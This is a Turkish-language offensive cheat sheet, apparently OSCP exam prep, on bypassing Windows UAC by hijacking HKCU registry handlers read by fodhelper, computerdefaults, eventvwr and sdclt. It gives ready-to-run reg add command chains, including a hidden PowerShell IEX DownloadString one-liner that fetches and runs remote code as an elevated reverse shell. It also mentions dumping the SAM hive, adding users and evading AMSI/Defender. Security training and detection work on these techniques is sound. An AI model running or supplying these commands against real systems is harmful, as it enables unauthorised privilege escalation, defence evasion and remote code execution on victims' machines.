UAC Bypass (fodhelper / computerdefaults / eventvwr / sdclt)
Admin grubundasın ama tokenin medium-integrity (UAC nedeniyle elevate edilmemiş). fodhelper/computerdefaults/eventvwr/sdclt gibi auto-elevate ikililerinin okuduğu HKCU registry anahtarlarını hijack ederek elevation prompt olmadan high-integrity komut çalıştırırsın.
- whoami /groups → Administrators üyesisin ama Mandatory Label = Medium
- UAC açık ama default seviyede (consent prompt by-passable auto-elevate binary'ler aktif)
Komutlar
whoami /groups | findstr /i "Label" net localgroup administrators reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /ve /d "cmd.exe /c start cmd.exe" /f & reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /d "" /f & start fodhelper.exe reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /ve /d "cmd.exe /c start cmd.exe" /f & reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /d "" /f & start computerdefaults.exe reg add HKCU\Software\Classes\mscfile\shell\open\command /ve /d "cmd.exe /c start cmd.exe" /f & start eventvwr.exe reg add HKCU\Software\Classes\exefile\shell\runas\command /v IsolatedCommand /t REG_SZ /d "cmd.exe /c start cmd.exe" /f & start sdclt.exe reg delete HKCU\Software\Classes\ms-settings /f & reg delete HKCU\Software\Classes\mscfile /f reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /ve /d "powershell -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('{{URL}}')" /f & reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /d "" /f & start fodhelper.exe UAC Bypass Ne Zaman Gerekir?
UAC bypass bir privilege escalation değildir klasik anlamda — zaten Administrators grubundasındır, ancak UAC nedeniyle çalışan token’ın medium integrity (split-token). Yani yetkilerin var ama ‘kilitli’. Bypass, consent prompt’u (UAC penceresi) görmeden token’ı high integrity’ye yükseltmeni sağlar. Bu özellikle non-interaktif shell’lerde (reverse shell, WinRM) kritiktir çünkü orada UAC prompt’una tıklayamazsın.
Önemli ayrım: Eğer whoami /groups çıktında Mandatory Label\High Mandatory Level görüyorsan zaten elevated’sın, bypass’a gerek yok. Sadece Medium Mandatory Level + Administrators üyeliği kombinasyonunda bu sayfa devreye girer.
Tespit / Enumeration
- Integrity level:
whoami /groups→ Label satırı. - Admin üyeliği:
net localgroup administratorsiçinde kullanıcı var mı. - UAC durumu:
EnableLUA(1=açık) veConsentPromptBehaviorAdmin. Değer0ise UAC kapalı, doğrudan elevated çalışırsın.5(default) auto-elevate binary tekniklerine açıktır.
Mekanizma — Auto-Elevate + HKCU Hijack
Windows’ta bazı imzalı sistem ikilileri (fodhelper, computerdefaults, eventvwr, sdclt, slui…) manifestlerinde autoElevate=true taşır; çalıştırıldıklarında UAC prompt’u göstermeden high-integrity başlarlar. Bu ikililer açılırken belirli bir registry handler’ını okurlar ve Windows HKCU’yu HKLM’den önce kontrol eder. Düşük yetkiyle yazabildiğin HKCU\Software\Classes altına sahte bir handler ekleyip kendi komutunu koyarsan, auto-elevate binary onu high integrity ile çalıştırır.
Tekniklerin Sürüm Uyumluluğu
- fodhelper / computerdefaults:
ms-settingsprotokol handler’ını hijack eder.DelegateExecuteboş string’i şart — onsuz Windows fallback yapar ve çalışmaz. Windows 10/11’in geniş bir aralığında çalışır; en güvenilir modern teknik. - eventvwr:
mscfilehandler. Daha eski; Windows 10 1607’den sonra Microsoft kapattı. OSCP’deki eski makinelerde işe yarar. - sdclt:
exefile\shell\runas\command\IsolatedCommand. Bazı build’lerde alternatif.
Biri Defender/AMSI veya patch nedeniyle bloklanırsa diğerini dene — sıralama: fodhelper → computerdefaults → sdclt → eventvwr.
Elevated Shell’i Kullanma
Açılan high-integrity cmd/powershell ile artık reg save HKLM\SAM, servis yeniden yapılandırma, net user ekleme, ya da doğrudan SYSTEM’e geçiş (örn. PsExec lokal, ya da bir servis hijack) yapabilirsin. Non-interaktif shell’de konsol açmak yerine command alanındaki revshell payload varyantını kullan — DownloadString ile elevated reverse shell çağır.
Temizlik ve OSCP Notları
- İş bitince hijack ettiğin
HKCU\Software\Classes\ms-settings(veyamscfile/exefile) anahtarını mutlaka sil — aksi halde her auto-elevate çağrısı payload’unu tetikler ve sistemi bozarsın. - Bu teknikler manuel registry + LOLBAS olduğu için examSafety: safe. Metasploit’in
bypassuacmodülleri ise restricted sayılır; OSCP’de manuel yöntemi tercih et. - AMSI/Defender bir PowerShell payload’unu yakalarsa, önce
cmd /c start cmd.exeile temiz bir elevated konsol al, AMSI bypass’ı orada uygula (bkz. help-amsi).